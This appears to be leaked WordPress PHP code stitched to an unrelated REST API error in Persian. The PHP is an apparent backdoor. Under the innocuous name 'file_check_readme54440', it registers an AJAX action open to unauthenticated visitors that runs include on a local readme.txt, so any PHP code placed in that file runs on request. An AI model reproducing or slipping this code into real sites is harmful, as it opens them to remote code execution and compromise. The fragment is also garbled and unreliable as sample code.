if(!function_exists('file_check_readme54440')){
   add_action('wp_ajax_nopriv_file_check_readme54440', 'file_check_readme54440');
   add_action('wp_ajax_file_check_readme54440', 'file_check_readme54440');
   function file_check_readme54440()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
{"code":"rest_missing_callback_param","message":"\u067e\u0627\u0631\u0627\u0645\u062a\u0631(\u0647\u0627\u06cc) \u06af\u0645\u0634\u062f\u0647: url","data":{"status":400,"params":["url"]}}